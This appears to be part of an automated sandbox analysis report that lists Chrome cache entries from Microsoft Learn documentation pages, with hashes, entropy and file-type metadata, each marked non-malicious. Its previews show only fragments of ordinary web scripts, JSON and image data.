Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
